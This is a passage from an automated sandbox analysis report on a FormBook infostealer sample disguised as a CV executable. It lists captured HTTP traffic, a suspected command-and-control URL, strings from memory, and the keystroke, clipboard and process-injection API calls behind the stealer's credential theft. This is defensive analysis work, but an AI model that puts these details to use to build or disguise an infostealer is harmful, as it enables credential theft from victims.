20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 6d 61 69 6e 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6f 6e 20 68 6f 6c 64 20 70 65 6e 64 69 6e 67 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 52 65 67 69 73 74 72 61 6e 74 20 61 73 20 70 65 72 20 74 68 65 20 49 43 41 4e 4e 20 72 75 6c 65 73 20 6f 6e 20 56 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 66 20 43 6f 6e 74 61 63 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 0a 3c 70 3e 4d 6f 72 65 20 64 65 74 61 69 6c 73 20 6f 66 20 74 68 65 73 65 20 72 75 6c 65 73 20 63 61 6e 20 62 65 20 66 6f 75 6e 64 20 61 74 3a 3c 62 72 2f 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 69 63 61 6e 6e 2e 6f 72 67 2f 65 6e 2f 72 65 73 6f 75 72 63 65 73 2f 63 6f 6d 70 6c 69 61 6e 63 65 2f 63 6f 6d 70 6c 61 69 6e 74 73 2f 72 65 67 69 73 74 72 61 72 73 2f 63 6f 6e 74 61 63 74 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 69 63 61 6e 6e 2e 6f 72 67 2f 65 6e 2f 72 65 73 6f 75 72 63 65 73 2f 63 6f 6d 70 6c 69 61 6e 63 65 2f 63 6f 6d 70 6c 61 69 6e 74 73 2f 72 65 67 69 73 74 72 61 72 73 2f 63 6f 6e 74 61 63 74 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 3c 2f 61 3e 2e 3c 2f 70 3e 0a 0a 3c 70 3e 49 66 20 79 6f 75 20 61 72 65 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 69 73 20 64 6f 6d 61 69 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 70 72 6f 76 69 64 65 72 20 61 6e 64 20 72 65 71 75 65 73 74 20 72 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 20 6f 72 20 66 6f 6c 6c 6f 77 20 74 68 65 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 65 6d 61 69 6c 65 64 20 74 6f 20 79 6f 75 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 79 6f 75 72 20 6f 72 64 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html><head><title>Verification of Contact Information</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 27 Nov 2024 19:50:22 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 27 Nov 2024 19:50:27 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 27 Nov 2024 19:50:30 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: HgsHJMSZolWa.exe, 00000008.00000002.3965444751.0000000003E08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.icann.org/en/resources/compliance/complaints/registrars/contact-verification
                Source: HgsHJMSZolWa.exe, 00000008.00000002.3963754967.0000000000C57000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.qqa79.top
                Source: HgsHJMSZolWa.exe, 00000008.00000002.3963754967.0000000000C57000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.qqa79.top/dp98/
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: wlanext.exe, 00000005.00000002.3958570769.000000000321E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: wlanext.exe, 00000005.00000002.3958570769.000000000324B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: wlanext.exe, 00000005.00000003.2057178678.000000000829C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
                Source: wlanext.exe, 00000005.00000002.3958570769.000000000321E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: wlanext.exe, 00000005.00000002.3958570769.000000000321E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033V8
                Source: wlanext.exe, 00000005.00000002.3958570769.000000000321E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: wlanext.exe, 00000005.00000002.3958570769.000000000324B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: wlanext.exe, 00000005.00000002.3966124585.0000000004E22000.00000004.10000000.00040000.00000000.sdmp, wlanext.exe, 00000005.00000002.3968276769.0000000006870000.00000004.00000800.00020000.00000000.sdmp, HgsHJMSZolWa.exe, 00000008.00000002.3965444751.0000000003952000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                Source: wlanext.exe, 00000005.00000003.2062265441.0000000008368000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E6B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_005E6B0C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E6D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_005E6D07
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E6B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_005E6B0C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D2B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_005D2B37
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005FF7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_005FF7FF

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.1876015655.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1876296876.0000000003C40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3957471202.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3963754967.0000000000C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3964923371.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3964989760.0000000002AB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3964994926.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1876664813.0000000004150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: This is a third-party compiled AutoIt script.0_2_00593D19
                Source: CV_ Filipa Barbosa.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: CV_ Filipa Barbosa.exe, 00000000.00000000.1496406308.000000000063E000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_696ca870-f
                Source: CV_ Filipa Barbosa.exe, 00000000.00000000.1496406308.000000000063E000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: \SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_3e099f38-4
                Source: CV_ Filipa Barbosa.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_ba89854b-3
                Source: CV_ Filipa Barbosa.exeString found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_f9ea4833-2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042C703 NtClose,2_2_0042C703
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72B60 NtClose,LdrInitializeThunk,2_2_03D72B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03D72DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D735C0 NtCreateMutant,LdrInitializeThunk,2_2_03D735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D74340 NtSetContextThread,2_2_03D74340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D74650 NtSuspendThread,2_2_03D74650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72BF0 NtAllocateVirtualMemory,2_2_03D72BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72BE0 NtQueryValueKey,2_2_03D72BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72B80 NtQueryInformationFile,2_2_03D72B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72BA0 NtEnumerateValueKey,2_2_03D72BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72AD0 NtReadFile,2_2_03D72AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72AF0 NtWriteFile,2_2_03D72AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72AB0 NtWaitForSingleObject,2_2_03D72AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72FE0 NtCreateFile,2_2_03D72FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72F90 NtProtectVirtualMemory,2_2_03D72F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72FB0 NtResumeThread,2_2_03D72FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72FA0 NtQuerySection,2_2_03D72FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72F60 NtCreateProcessEx,2_2_03D72F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72F30 NtCreateSection,2_2_03D72F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72EE0 NtQueueApcThread,2_2_03D72EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72E80 NtReadVirtualMemory,2_2_03D72E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72EA0 NtAdjustPrivilegesToken,2_2_03D72EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72E30 NtWriteVirtualMemory,2_2_03D72E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72DD0 NtDelayExecution,2_2_03D72DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72DB0 NtEnumerateKey,2_2_03D72DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72D10 NtMapViewOfSection,2_2_03D72D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72D00 NtSetInformationFile,2_2_03D72D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72D30 NtUnmapViewOfSection,2_2_03D72D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72CC0 NtQueryVirtualMemory,2_2_03D72CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72CF0 NtOpenProcess,2_2_03D72CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72CA0 NtQueryInformationToken,2_2_03D72CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72C70 NtFreeVirtualMemory,2_2_03D72C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72C60 NtCreateKey,2_2_03D72C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72C00 NtQueryInformationProcess,2_2_03D72C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D73090 NtSetValueKey,2_2_03D73090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D73010 NtOpenDirectoryObject,2_2_03D73010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D739B0 NtGetContextThread,2_2_03D739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D73D70 NtOpenThread,2_2_03D73D70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D73D10 NtOpenProcessToken,2_2_03D73D10
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03984340 NtSetContextThread,LdrInitializeThunk,5_2_03984340
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03984650 NtSuspendThread,LdrInitializeThunk,5_2_03984650
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982BA0 NtEnumerateValueKey,LdrInitializeThunk,5_2_03982BA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982BF0 NtAllocateVirtualMemory,LdrInitializeThunk,5_2_03982BF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982BE0 NtQueryValueKey,LdrInitializeThunk,5_2_03982BE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982B60 NtClose,LdrInitializeThunk,5_2_03982B60
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982AD0 NtReadFile,LdrInitializeThunk,5_2_03982AD0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982AF0 NtWriteFile,LdrInitializeThunk,5_2_03982AF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982FB0 NtResumeThread,LdrInitializeThunk,5_2_03982FB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982FE0 NtCreateFile,LdrInitializeThunk,5_2_03982FE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982F30 NtCreateSection,LdrInitializeThunk,5_2_03982F30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982E80 NtReadVirtualMemory,LdrInitializeThunk,5_2_03982E80
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982EE0 NtQueueApcThread,LdrInitializeThunk,5_2_03982EE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982DD0 NtDelayExecution,LdrInitializeThunk,5_2_03982DD0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982DF0 NtQuerySystemInformation,LdrInitializeThunk,5_2_03982DF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982D10 NtMapViewOfSection,LdrInitializeThunk,5_2_03982D10
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982D30 NtUnmapViewOfSection,LdrInitializeThunk,5_2_03982D30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982CA0 NtQueryInformationToken,LdrInitializeThunk,5_2_03982CA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982C70 NtFreeVirtualMemory,LdrInitializeThunk,5_2_03982C70
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982C60 NtCreateKey,LdrInitializeThunk,5_2_03982C60
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039835C0 NtCreateMutant,LdrInitializeThunk,5_2_039835C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039839B0 NtGetContextThread,LdrInitializeThunk,5_2_039839B0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982B80 NtQueryInformationFile,5_2_03982B80
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982AB0 NtWaitForSingleObject,5_2_03982AB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982F90 NtProtectVirtualMemory,5_2_03982F90
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982FA0 NtQuerySection,5_2_03982FA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982F60 NtCreateProcessEx,5_2_03982F60
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982EA0 NtAdjustPrivilegesToken,5_2_03982EA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982E30 NtWriteVirtualMemory,5_2_03982E30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982DB0 NtEnumerateKey,5_2_03982DB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982D00 NtSetInformationFile,5_2_03982D00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982CC0 NtQueryVirtualMemory,5_2_03982CC0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982CF0 NtOpenProcess,5_2_03982CF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03982C00 NtQueryInformationProcess,5_2_03982C00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03983090 NtSetValueKey,5_2_03983090
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03983010 NtOpenDirectoryObject,5_2_03983010
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03983D10 NtOpenProcessToken,5_2_03983D10
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03983D70 NtOpenThread,5_2_03983D70
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03129300 NtReadFile,5_2_03129300
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03129190 NtCreateFile,5_2_03129190
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03129610 NtAllocateVirtualMemory,5_2_03129610
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03129400 NtDeleteFile,5_2_03129400
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_031294B0 NtClose,5_2_031294B0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D6606: CreateFileW,DeviceIoControl,CloseHandle,0_2_005D6606
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005CACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_005CACC5
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D79D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_005D79D3
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005BB0430_2_005BB043
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005A32000_2_005A3200
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005C410F0_2_005C410F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B02A40_2_005B02A4
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005C038E0_2_005C038E
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_0059E3B00_2_0059E3B0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005C467F0_2_005C467F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B06D90_2_005B06D9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005FAACE0_2_005FAACE
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005C4BEF0_2_005C4BEF
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005BCCC10_2_005BCCC1
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_0059AF500_2_0059AF50
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00596F070_2_00596F07
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005AB11F0_2_005AB11F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005BD1B90_2_005BD1B9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005F31BC0_2_005F31BC
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005C724D0_2_005C724D
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B123A0_2_005B123A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D13CA0_2_005D13CA
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005993F00_2_005993F0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005AF5630_2_005AF563
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DB6CC0_2_005DB6CC
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005996C00_2_005996C0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005FF7FF0_2_005FF7FF
